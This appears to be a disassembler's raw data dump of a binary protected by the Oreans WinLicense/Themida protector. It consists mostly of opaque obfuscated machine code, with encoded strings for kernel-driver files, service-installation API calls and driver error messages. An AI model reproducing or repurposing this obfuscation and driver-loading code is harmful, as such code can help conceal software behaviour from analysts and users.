		dd 840F2CF2h, 11h, 6E8h, 82CC9900h, 66BE3F04h, 0D14CCA81h
		dd 0EE8575Ah, 34000000h, 0ACC55E69h, 0E7D30C1Bh, 0FDCA9BE4h
		dd 58E38A76h, 0F33048Fh, 0A88h,	0D4BF6000h, 0F2D7F94h
		dd 0F61C6BFh, 0EE83CABFh, 7E902h, 59C70000h, 8FA362D1h
		dd 0FC4E4EC6h, 9C48FE81h, 850FFFFFh, 0Eh, 0E9C9BF0Fh, 2Eh
		dd 46064661h, 0F603BADh, 681h, 860F00h,	80000000h, 0E961DCF5h
		dd 0FFFFFF34h, 0A2718F64h, 925E6C2Bh, 0B0665FE8h, 0E26A0BCCh
		dd 8EE9805Dh, 60000000h, 349DBD83h, 0F0007E9h, 584h, 79E900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 16E9h
		dd 0F1858D00h, 5007E90Fh, 50240489h, 6A243489h,	0C595FF00h
		dd 6107E918h, 5985C6C3h, 4D07E926h, 3162FB68h, 2404816Bh
		dd 390413ADh, 16B5B5FFh, 858D07E9h, 7E93ABCh, 8589D0FFh
		dd 7E918C5h, 0AAE9h, 666F5300h,	72617774h, 69575C65h, 63694C6Eh
		dd 65736E65h, 65684300h, 4E496B63h, 72705800h, 7845746Fh
		dd 43007469h, 6B636568h, 54554Fh, 4C6E6957h, 6E656369h
		dd 65566573h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h
		dd 76697244h, 65567265h, 6F697372h, 6957006Eh, 63694C6Eh
		dd 65736E65h, 74736E49h, 65636E61h, 69784500h, 6B4F74h
		dd 636F7250h, 50004E49h, 4F636F72h, 45005455h, 49746978h
		dd 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0)
		dd 8000000h, 0BB77DEB9h, 0E977DFD5h, 596h, 0D2F18589h
		dd 858D07EBh, 7EBD2EDh,	57858D50h, 5007EBD2h, 168h, 0FD95FF80h
		dd 6A07EBD2h, 0F1B5FF19h, 6A07EBD2h, 8D006A01h,	0EBD28685h
		dd 0B5FF5007h, 7EBD2EDh, 2AE195FFh, 0B5FF07E9h,	7EBD2EDh
		dd 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh,	89C307E9h
		dd 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh, 685007EBh
		dd 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh,	6A5007EBh
		dd 8D006A04h, 0EBD2B085h, 0B5FF5007h, 7EBD2EDh,	2AE195FFh
		dd 0B5FF07E9h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh
		dd 2CBD95FFh, 89C307E9h, 0EBD2F185h, 0ED858D07h, 5007EBD2h
		dd 0D257858Dh, 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh
		dd 0D2F1858Dh, 6A5007EBh, 8D006A04h, 0EBD29885h, 0B5FF5007h
		dd 7EBD2EDh, 2AE195FFh,	0B5FF07E9h, 7EBD2EDh, 0D2F995FFh
		dd 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh, 89C307E9h, 0EBD2F185h
		dd 0ED858D07h, 5007EBD2h, 0D257858Dh, 685007EBh, 80000001h
		dd 0D2FD95FFh, 46A07EBh, 0D2F1858Dh, 6A5007EBh,	8D006A04h
		dd 0EBD2C385h, 0B5FF5007h, 7EBD2EDh, 2AE195FFh,	0B5FF07E9h
		dd 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh
		dd 89C307E9h, 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh
		dd 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh
		dd 6A5007EBh, 8D006A04h, 0EBD27385h, 0B5FF5007h, 7EBD2EDh
		dd 2AE195FFh, 0B5FF07E9h, 7EBD2EDh, 0D2F995FFh,	0B5FF07EBh
		dd 7EBD2EDh, 2CBD95FFh,	83C307E9h, 0E91A75BDh, 840F0007h
		dd 0Bh,	1A759D8Bh, 0C38307E9h, 0C303894Ch, 1A75BD83h, 0F0007E9h
		dd 0B84h, 759D8B00h, 8307E91Ah,	38950C3h, 75BD83C3h, 7E91Ah
		dd 0B840Fh, 9D8B0000h, 7E91A75h, 8954C383h, 0BD83C303h
		dd 7E91A75h, 0B840F00h,	8B000000h, 0E91A759Dh, 58C38307h
		dd 83C30389h, 0E91A75BDh, 840F0007h, 0Bh, 1A759D8Bh, 0C38307E9h
		dd 0C303895Ch, 858960C3h, 7EBD2F1h, 0D2ED858Dh,	8D5007EBh
		dd 0EBD25785h, 1685007h, 0FF800000h, 0EBD2FD95h, 8D046A07h
		dd 0EBD2F185h, 46A5007h, 858D006Ah, 7EBD2E8h, 0EDB5FF50h
		dd 0FF07EBD2h, 0E92AE195h, 0A5BD8307h, 7E918h, 0C840Fh
		dd 0B5FF0000h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh
		dd 2CBD95FFh, 0C36107E9h, 0F1858960h, 8D07EBD2h, 0EBD2ED85h
		dd 858D5007h, 7EBD257h,	16850h,	95FF8000h, 7EBD2FDh, 858D046Ah
		dd 7EBD2F1h, 6A046A50h,	0CA858D00h, 5007EBD2h, 0D2EDB5FFh
		dd 95FF07EBh, 7E92AE1h,	18A5BD83h, 0F0007E9h, 0C84h, 0EDB5FF00h
		dd 0FF07EBD2h, 0EBD2F995h, 0EDB5FF07h, 0FF07EBD2h, 0E92CBD95h
		dd 60C36107h, 0D2F18589h, 858D07EBh, 7EBD2EDh, 57858D50h
		dd 5007EBD2h, 168h, 0FD95FF80h,	6A07EBD2h, 0F1858D04h
		dd 5007EBD2h, 6A046Ah, 0D2D1858Dh, 0FF5007EBh, 0EBD2EDB5h
		dd 0E195FF07h, 8307E92Ah, 0E918A5BDh, 840F0007h, 0Ch, 0D2EDB5FFh
		dd 95FF07EBh, 7EBD2F9h,	0D2EDB5FFh, 95FF07EBh, 7E92CBDh
		dd 8960C361h, 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh
		dd 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh
		dd 6A5007EBh, 8D006A04h, 0EBD2D985h, 0B5FF5007h, 7EBD2EDh
		dd 2AE195FFh, 0BD8307E9h, 7E918A5h, 0C840F00h, 0FF000000h
		dd 0EBD2EDB5h, 0F995FF07h, 0FF07EBD2h, 0EBD2EDB5h, 0BD95FF07h
		dd 6107E92Ch, 858960C3h, 7EBD2F1h, 0D2ED858Dh, 8D5007EBh
		dd 0EBD25785h, 1685007h, 0FF800000h, 0EBD2FD95h, 8D046A07h
		dd 0EBD2F185h, 46A5007h, 858D006Ah, 7EBD2E0h, 0EDB5FF50h
		dd 0FF07EBD2h, 0E92AE195h, 0A5BD8307h, 7E918h, 0C840Fh
		dd 0B5FF0000h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh
		dd 2CBD95FFh, 0C36107E9h, 0F185C760h, 107EBD2h,	8D000000h
		dd 0EBD2ED85h, 858D5007h, 7EBD257h, 26850h, 95FF8000h
		dd 7EBD2FDh, 840FC00Bh,	0Fh, 0D2F185C7h, 7EBh, 4DE90000h
		dd 6A000000h, 0F1858D04h, 5007EBD2h, 6A046Ah, 0D26B858Dh
		dd 0FF5007EBh, 0EBD2EDB5h, 0E195FF07h, 0B07E92Ah, 0F840FC0h
		dd 0C7000000h, 0EBD2F185h, 7, 0AE900h, 85C70000h, 7EBD2F1h
		dd 1, 0D2EDB5FFh, 95FF07EBh, 7E92CBDh, 0F1858B61h, 0C307EBD2h
		dd 0F1858960h, 8D07EBD2h, 0EBD2ED85h, 858D5007h, 7EBD257h
		dd 16850h, 95FF8000h, 7EBD2FDh,	858D046Ah, 7EBD2F1h, 6A046A50h
		dd 6B858D00h, 5007EBD2h, 0D2EDB5FFh, 95FF07EBh,	7E92AE1h
		dd 18A5BD83h, 0F0007E9h, 0C84h,	0EDB5FF00h, 0FF07EBD2h
		dd 0EBD2F995h, 0EDB5FF07h, 0FF07EBD2h, 0E92CBD95h, 60C36107h
		dd 0D2F18589h, 858D07EBh, 7EBD2EDh, 57858D50h, 5007EBD2h
		dd 168h, 0FD95FF80h, 6A07EBD2h,	0F1858D04h, 5007EBD2h
		dd 6A046Ah, 0D27D858Dh,	0FF5007EBh, 0EBD2EDB5h,	0E195FF07h
		dd 8307E92Ah, 0E918A5BDh, 840F0007h, 0Ch, 0D2EDB5FFh, 95FF07EBh
		dd 7EBD2F9h, 0D2EDB5FFh, 95FF07EBh, 7E92CBDh, 85C6C361h
		dd 7E92659h, 7B076852h,	0B5FFADE4h, 7E9347Dh, 0A8D95FFh
		dd 858907E9h, 7EBD2FDh,	265985C6h, 685207E9h, 902E00E5h
		dd 347DB5FFh, 95FF07E9h, 7E90A8Dh, 0D2F98589h, 85C607EBh
		dd 7E92659h, 12356852h,	0B5FFB9BFh, 7E9347Dh, 0A8D95FFh
		dd 858907E9h, 7E92AE1h,	265985C6h, 685207E9h, 98781034h
		dd 347DB5FFh, 95FF07E9h, 7E90A8Dh, 2CBD8589h, 85C607E9h
		dd 7E92659h, 0DBD46852h, 0B5FFC005h, 7E9347Dh, 0A8D95FFh
		dd 858907E9h, 7E91D8Dh,	5C5C1EEBh, 49535C2Eh, 5C004543h
		dd 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh, 454349h
		dd 7E9C08Bh, 6C000000h,	0EF33EEA7h, 0BD839E33h,	7E918A5h
		dd 83097500h, 0E91A45BDh, 19740007h, 0C08B5350h, 40FB8h
		dd 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h, 45BD8358h
		dd 7E91Ah, 53501774h, 40FB8h, 0F9858900h, 8D07E911h, 0EBD4BD9Dh
		dd 5BD3FF07h, 0D18B6658h, 8BD38B66h, 12E9C0h, 0F5870000h
		dd 5529ADDh, 67A8921Eh,	9B6072F2h, 0D812B786h, 265985C6h
		dd 0F94307E9h, 4E8h, 8E6EFC00h,	8E950BCh, 0CC000000h, 7AC67C8Ch
		dd 8B442799h, 50042444h, 50525052h, 5A310F52h, 60310F58h
		dd 0F585A61h, 5AD78B31h, 66008B58h, 89BE4BB9h, 57042444h
		dd 5ACA8B66h, 2DB58B58h, 0FF07E90Ch, 0E92669B5h, 0BC858D07h
		dd 0F07E93Ah, 388h, 0D08B6600h,	90F8D0FFh, 7E8h, 736A00h
		dd 0D5A45A3Fh, 0BE850h,	0F40A0000h, 0F133383Ah,	0B7583948h
		dd 5A5F59A4h, 481CBA50h, 33905A13h, 0E90E3D95h,	6A006A07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0FDD0C352h, 80F25D34h, 23B19589h,	6E6807E9h
		dd 66EF56FDh, 81DFC5BFh, 3122404h, 0BA6610A9h, 95011C78h
		dd 7E91EA9h, 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 893587C3h, 0E902998Dh, 66006A07h
		dd 36AF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0D7C35343h, 1AA84F34h, 0D3B70F80h, 3155B531h
		dd 0C6807E9h, 50481850h, 10E852h, 0B2AF0000h, 6FB05F22h
		dd 18D32FF9h, 95BE8C26h, 6160F759h, 56310F5Ah, 310F5250h
		dd 5A59585Ah, 24048158h, 77E7AFF4h, 1EC5BD8Bh, 9D8D07E9h
		dd 7EBD934h, 5050CF8Bh,	895AD18Ah, 6A241Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7B20A3C3h
		dd 0FABD69F5h, 8B08809Dh, 0E91FE5BDh, 66D0FF07h, 0F57BC781h
		dd 5F850F40h, 58000002h, 0E960B160h, 0Ah, 9A5C2534h, 60BDBF3Bh
		dd 0F5615A7Ch, 24048950h, 0F518D8Bh, 6A07E9h, 12880Fh
		dd 0DE90000h, 0CB000000h, 0C36CFE6Ch, 5CE2237Dh, 35BC0909h
		dd 18E18D8Bh, 0F76807E9h, 66EFA8DAh, 481F88Bh, 57258924h
		dd 20F28010h, 0B533036Ah, 7E91D0Dh, 0BF0F006Ah,	0B5036AD0h
		dd 0B8D16834h, 0CE8B90Ah, 29000000h, 8BD9BFB7h,	0FC2CD996h
		dd 664BFD51h, 5F7426BFh, 2F240481h, 0F06F547h, 9D8DF7BFh
		dd 7EBD93Dh, 12E9h, 0C897A000h,	2F76EA3Eh, 5BEAD596h, 8B9E9E3Bh
		dd 5013D4BDh, 1C89E88Ah, 81665024h, 5F4442CEh, 6160D0FFh
		dd 0A3850F40h, 81000001h, 4BB4A4F2h, 0CF815803h, 6D1289E6h
		dd 89B8B550h, 81662404h, 6AE32AE1h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0FB96EDDBh
		dd 82CDE301h, 800Fh, 4E80000h, 80000000h, 60000000h, 66FB8B66h
		dd 5061C18Bh, 11E8h, 1F0E9200h,	47497B54h, 4CBF8408h, 46B000DEh
		dd 0BF66AB27h, 8B5A123Ch, 0F042444h, 386h, 0D18B6600h
		dd 800F008Bh, 0Eh, 6E8h, 0D1056700h, 8B21A476h,	448959F2h
		dd 52500424h, 0D68B5250h, 585A310Fh, 0BA60310Fh, 120AFFE1h
		dd 840Fh, 5A610000h, 0CB8B5858h, 6AF9036Ah, 59952900h
		dd 6A07E924h, 6E903h, 103D0000h, 86B72A3Fh, 4E8h, 0
		dd 0FA8B60C0h, 9F56B866h, 5E535061h, 424448Bh, 12E8h, 0A607B00h
		dd 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 8BEB4883h, 8B5ECAh
		dd 0DE9h, 7AC84300h, 0A594280Bh, 0AB9FB2Eh, 448936FDh
		dd 0CA8B0424h, 6870F58h, 9000000h, 0E92C7185h, 489D8D07h
		dd 8B07EBD9h, 0E9251D95h, 11E95007h, 0E9000000h, 497C45D0h
		dd 39B4F842h, 0E26C2FACh, 0AD52B2FFh, 8B241C89h, 35B589CEh
		dd 0FF07E909h, 0D9B589D0h, 4007E90Eh, 40850Fh, 0D9810000h
		dd 4173579Eh, 58FE8B66h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0FC35141h, 0E4DF58D1h, 0E1163113h, 598D8BDFh
		dd 0E907E90Ch, 0E8h, 21658D23h,	0D88B07E9h, 2B018D01h
		dd 664B07E9h, 58E996B9h, 13E9h,	0BC311900h, 0CEB7629Dh
		dd 4A4DB230h, 7DD362A1h, 9B3FAB3h, 265985C6h, 8A4307E9h
		dd 65168F3h, 8E0FC60Bh,	4, 7E69B966h, 0F6243481h, 89067D4Ch
		dd 0E92A298Dh, 8E807h, 17BB0000h, 9C2574ECh, 81663D3Dh
		dd 5E5D5FCEh, 2669B5FFh, 860F07E9h, 2, 0BE50D38Bh, 550B4011h
		dd 0BC858D5Ah, 6A07E93Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0F7BBC352h,	8B66D0FFh
		dd 0B15050F1h, 1C89590Eh, 6810F24h, 81000000h, 0D4D2ABC2h
		dd 80D0FF1Bh, 958B45C1h, 7E9304Dh, 6E159D8Dh, 0BF0F07E9h
		dd 1B8F7h, 0B58B0000h, 7E91C45h, 0E850E3FFh, 0Ah, 0E81835FAh
		dd 0EE720825h, 5A594610h, 9509C18Bh, 7E91951h, 958BC08Bh
		dd 7E90C2Dh, 18A5BD83h,	750007E9h, 45BD8309h, 7E91Ah, 53501974h
		dd 0FB8C08Bh, 89000004h, 0E920F585h, 359D8D07h,	0FF07EBD8h
		dd 83585BD3h, 0E91A45BDh, 17740007h, 0FB85350h,	89000004h
		dd 0E920F585h, 0D69D8D07h, 0FF07EBD4h, 6A585BD3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 5A67C356h, 0B90B0D3Ch, 342B2FC8h, 0E8C08BF5h, 0Fh, 23C7ECF8h
		dd 65C78E2Ch, 0C42E6456h, 8925B92Ch, 0E907B195h, 7E95907h
		dd 0E0000000h, 0A4A6A2FAh, 0C18107D1h, 6E22h, 1B5ABBh
		dd 69B58900h, 0FF07E913h, 1DBD8931h, 5A07E92Ah,	7699BE66h
		dd 4EDAF281h, 0BD0109CFh, 7E911BDh, 1A9DC281h, 0B8664BCEh
		dd 0F2812FB0h, 0F3E50A0h, 52C6BF0Fh, 8850Fh, 810F0000h
		dd 2, 18F6160h,	0FDB58B57h, 5807E91Eh, 0E802E983h, 0Fh
		dd 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0E8B8A9DFh, 0Fh, 800C9A2Fh
		dd 0C97D21E1h, 460C40D2h, 8BB604DBh, 0E92E69BDh, 495F5E07h
		dd 83F08B49h, 850F01EBh, 0FFFFFF7Bh, 3591B58Bh,	0AE807E9h
		dd 99000000h, 0E96CACE8h, 0F60E0B10h, 0ED8D8939h, 5807E90Dh
		dd 18AD958Bh, 0C08107E9h, 6ED4h, 22E98D0Bh, 0FF3307E9h
		dd 472191BAh, 381C8B46h, 8E9h, 0C37BA600h, 764888C2h, 17C381FDh
		dd 0E96E691Bh, 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 81EAF4BAh
		dd 0B0ACB2EBh, 0D5B58B03h, 8107E930h, 9D353AC3h, 3D9D0905h
		dd 5307E92Bh, 398D8B60h, 0F07E909h, 8F61C2B7h, 0EEB63804h
		dd 330BEF81h, 0DFB57DA7h, 3307C781h, 0FF817DA7h, 0FFFF91C8h
		dd 0FF93850Fh, 840FFFFFh, 3, 0E9F28B66h, 20Eh, 6E614333h
		dd 20746F6Eh, 74697277h, 726F2065h, 736E6165h, 6478762Eh
		dd 614D0D0Ah, 7320656Bh, 20657275h, 74616874h, 69687420h
		dd 69662073h, 6920656Ch, 6F6E2073h, 65622074h, 20676E69h
		dd 64657375h, 20796220h, 746F6E61h, 20726568h, 676F7270h
		dd 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0E9265985h, 86684707h, 0FFE3E45Bh
		dd 0E92669B5h, 0BC858D07h, 0FF07E93Ah, 10468D0h, 9D8D0000h
		dd 7E913D1h, 50D0FF53h,	0E2A2B58Dh, 0FE8B07EBh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 265985C6h
		dd 684307E9h, 0BC8E6EFCh, 2669B5FFh, 858D07E9h,	7E93ABCh
		dd 0B58DD0FFh, 7E913D1h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E9265985h, 56685707h
		dd 0FFA69BEEh, 0E92669B5h, 0BC858D07h, 0FF07E93Ah, 99BD8DD0h
		dd 8D07E90Ah, 0EBE3C88Dh, 57006A07h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0AAB58D00h, 8D07EBE0h, 0EBD19D85h
		dd 8DD0FF07h, 0E96E158Dh, 0B807h, 0E1FF0000h, 265985C6h
		dd 684307E9h, 0C0764AA7h, 2669B5FFh, 858D07E9h,	7E93ABCh
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 145h dup(0)
		db 0
byte_5B36E9	db 3 dup(0)		; DATA XREF: sdfs____:005A3168o
		dd 87Dh	dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 99E90000h
		dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h
		dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h
		dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h
		dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h
		dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h
		dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h
		dd 706D7564h, 74617473h, 7375h,	2F000000h, 63656863h, 6F72706Bh
		dd 74636574h, 6E6F69h, 0
		dd 1C1DBD83h, 0F0007ECh, 0A84h,	4585C700h, 107E91Ah, 0C6000000h
		dd 0E9265985h, 0E5684707h, 819A7D49h, 25682434h, 0B5FF0A10h
		dd 7E92669h, 3ABC858Dh,	0D0FF07E9h, 0F88BD0FFh,	0F223F80h
		dd 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh, 840F003Fh
		dd 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h, 840F003Fh
		dd 303h, 0F203F80h, 685h, 6E94700h, 47000000h, 0FFFFE2E9h
		dd 3F80FFh, 5850Fh, 0E0E90000h,	0E9000002h, 1, 203F8047h
		dd 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h,	2C3h, 0AE8h
		dd 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 0EC1B9DB5h, 225E807h
		dd 0BD030000h, 7EC1C32h, 1C32BD83h, 0F0007ECh, 0B84h, 0A585C700h
		dd 107E918h, 0C3000000h, 1BA8B58Dh, 0FCE807ECh,	3000001h
		dd 0EC1C32BDh, 32BD8307h, 7EC1Ch, 0B840Fh, 85C70000h, 7E91A45h
		dd 1, 21B58DC3h, 0E807EC1Ch, 1D3h, 1C32BD03h, 0BD8307ECh
		dd 7EC1C32h, 0B840F00h,	0C7000000h, 0E9349D85h,	107h, 0B58DC300h
		dd 7EC1BB2h, 1AAE8h, 32BD0300h,	8307EC1Ch, 0EC1C32BDh
		dd 840F0007h, 0Bh, 1A4585C7h, 107E9h, 8DC30000h, 0EC1BBCB5h
		dd 181E807h, 0BD030000h, 7EC1C32h, 1C32BD83h, 0F0007ECh
		dd 1584h, 4585C700h, 107E91Ah, 0C7000000h, 0E918A585h
		dd 107h, 0B58DC300h, 7EC1BCAh, 14EE8h, 32BD0300h, 8307EC1Ch
		dd 0EC1C32BDh, 840F0007h, 0Ah, 77D85C7h, 107E9h, 0B58D0000h
		dd 7EC1BD4h, 126E8h, 32BD0300h,	8307EC1Ch, 0EC1C32BDh
		dd 840F0007h, 0Ah, 77D85C7h, 107E9h, 0B58D0000h, 7EC1BDFh
		dd 0FEE8h, 32BD0300h, 8307EC1Ch, 0EC1C32BDh, 840F0007h
		dd 0Ah,	15F585C7h, 107E9h, 0B58D0000h, 7EC1BE5h, 0D6E8h
		dd 32BD0300h, 8307EC1Ch, 0EC1C32BDh, 840F0007h,	0Ah, 2AB185C7h
		dd 107E9h, 0B58D0000h, 7EC1BEBh, 0AEE8h, 32BD0300h, 8307EC1Ch
		dd 0EC1C32BDh, 840F0007h, 0Ah, 349185C7h, 107E9h, 0B58D0000h
		dd 7EC1BF9h, 86E8h, 32BD0300h, 8307EC1Ch, 0EC1C32BDh, 840F0007h
		dd 0Ah,	198D85C7h, 107E9h, 0B58D0000h, 7EC1C06h, 5EE8h
		dd 32BD0300h, 8307EC1Ch, 0EC1C32BDh, 840F0007h,	0Ah, 0C0185C7h
		dd 107E9h, 0B58D0000h, 7EC1C11h, 36E8h,	32BD0300h, 8307EC1Ch
		dd 0EC1C32BDh, 840F0007h, 0Ah, 0F6D85C7h, 107E9h, 1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 1Ch, 0F003F80h, 285h, 8AC92B00h, 0F163817h
		dd 584h, 0B900h, 47460000h, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD385h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	1C32B589h, 0AE907ECh, 0C7000000h
		dd 0EC1C3285h, 7, 0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 77D85C7h, 7E9h, 0C88B0000h, 10B7E9h
		dd 56444100h, 33495041h, 4C442E32h, 704F004Ch, 43536E65h
		dd 616E614Dh, 41726567h, 65724300h, 53657461h, 69767265h
		dd 416563h, 72617453h, 72655374h, 65636976h, 65470041h
		dd 74614E74h, 53657669h, 65747379h, 666E496Dh, 704F006Fh
		dd 65536E65h, 63697672h, 44004165h, 74656C65h, 72655365h
		dd 65636976h, 6F6C4300h, 65536573h, 63697672h, 6E614865h
		dd 656C64h, 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 10h
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
